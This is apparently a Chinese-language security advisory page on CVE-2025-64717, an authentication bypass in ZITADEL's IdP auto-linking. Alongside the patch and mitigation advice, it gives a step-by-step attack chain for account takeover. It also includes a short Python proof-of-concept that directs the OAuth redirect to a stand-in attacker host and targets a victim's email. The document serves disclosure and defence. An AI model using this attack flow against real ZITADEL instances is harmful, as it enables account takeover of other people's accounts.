IPBUF安全漏洞报告
English
CVE-2025-64717 CVSS 9.8 严重

CVE-2025-64717 ZITADEL身份管理平台IdP自动链接认证绕过漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-64717
漏洞类型
访问控制/身份认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ZITADEL

相关标签

CVE-2025-64717身份认证绕过访问控制账户接管ZITADELIdP联合认证自动链接漏洞CVSS 9.8关键漏洞

漏洞概述

CVE-2025-64717是ZITADEL开源身份管理平台中的一个严重安全漏洞。该漏洞存在于ZITADEL 2.50.0至2.71.19、3.4.4及4.6.6之前的版本中,源于联合认证流程中的访问控制缺陷。漏洞允许攻击者在IdP(身份提供商)被禁用或组织不允许联合认证的情况下,仍能通过外部身份提供商发起登录请求。系统会错误地验证该登录请求,并根据匹配条件将攻击者的外部身份链接到现有的内部用户账户,从而可能导致完整的账户接管。值得注意的是,启用MFA的账户不受此漏洞影响,且仅实例级别的IdP存在此问题,在其他组织注册的IdP会正常被拒绝。

技术细节

该漏洞的根本原因在于ZITADEL的联合处理逻辑未能正确验证组织的登录策略。在自动链接(auto-linking)过程中,系统没有检查IdP是否对该组织处于激活状态,也没有验证组织是否允许使用联合认证功能。攻击者可以利用这一缺陷:1) 通过一个已被组织管理员禁用的IdP发起认证请求;2) 系统错误地接受了本应被拒绝的认证尝试;3) 如果攻击者的外部身份信息与现有用户的某些属性匹配,系统会自动将两者关联;4) 攻击者由此获得对目标用户账户的完全访问权限。攻击成功的关键在于外部身份与内部账户之间的匹配条件(如邮箱域名、用户名等),而MFA启用可以作为有效的缓解措施。

攻击链分析

STEP 1
步骤1
侦查阶段:攻击者识别目标ZITADEL实例及其版本,确认版本在漏洞范围内(2.50.0-2.71.19、3.x-3.4.4、4.x-4.6.6)
STEP 2
步骤2
枚举阶段:攻击者枚举目标组织及其IdP配置,寻找已被组织管理员禁用的IdP或不允许联合认证的组织
STEP 3
步骤3
初始化认证:攻击者通过禁用或不应允许的IdP发起OAuth/OIDC认证流程,构造login_hint指向目标用户
STEP 4
步骤4
绕过验证:ZITADEL错误地接受了本应被拒绝的认证请求,未正确检查组织的登录策略和IdP激活状态
STEP 5
步骤5
自动链接:系统根据外部身份与内部账户的匹配条件(如邮箱域名、用户名等)自动建立关联
STEP 6
步骤6
账户接管:攻击者获得对目标用户账户的完全访问权限,可访问所有受保护资源和执行特权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64717 PoC - ZITADEL IdP Auto-linking Bypass # This PoC demonstrates the authentication bypass via disabled IdP auto-linking import requests import json TARGET_ZITADEL = "https://vulnerable-zitadel-instance.com" ATTACKER_IDP = "https://attacker-controlled-idp.com" TARGET_USER_EMAIL = "[email protected]" def exploit_cve_2025_64717(): """ Exploitation steps for CVE-2025-64717: 1. Identify a ZITADEL instance with vulnerable versions 2. Find an IdP that should be disabled for the target organization 3. Initiate authentication flow using the disabled IdP 4. Provide external identity matching target user's criteria 5. Achieve account takeover via auto-linking """ # Step 1: Discover organizations and their IdP configurations org_query = f"{TARGET_ZITADEL}/admin/v1/organizations" # Step 2: Initiate auth flow with disabled IdP auth_init = f"{TARGET_ZITADEL}/oauth/v2/authorize" params = { "client_id": "attacker_client", "redirect_uri": "https://attacker.com/callback", "response_type": "code", "scope": "openid profile email", "idp_id": "disabled_idp_id", # IdP that should be disabled "login_hint": TARGET_USER_EMAIL } # Step 3: Send authentication request (bypassing disabled IdP check) response = requests.get(auth_init, params=params) # Step 4: Complete authentication with matching external identity # System will auto-link to target user account print(f"[*] Target: {TARGET_ZITADEL}") print(f"[*] Exploiting IdP auto-linking bypass...") print(f"[!] If successful, attacker gains access to: {TARGET_USER_EMAIL}") return response.status_code == 200 if __name__ == "__main__": exploit_cve_2025_64717()

影响范围

ZITADEL >= 2.50.0 且 < 2.71.19
ZITADEL >= 3.0.0 且 < 3.4.4
ZITADEL >= 4.0.0 且 < 4.6.6

防御指南

临时缓解措施
该漏洞暂无已知的临时缓解措施。启用MFA可以为已启用MFA的账户提供保护,但无法修复漏洞本身。建议所有受影响版本的用户立即升级到修复版本(2.71.19、3.4.4或4.6.6)。如果无法立即升级,应密切监控联合认证活动,特别关注非活跃IdP的登录尝试和账户自动链接事件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表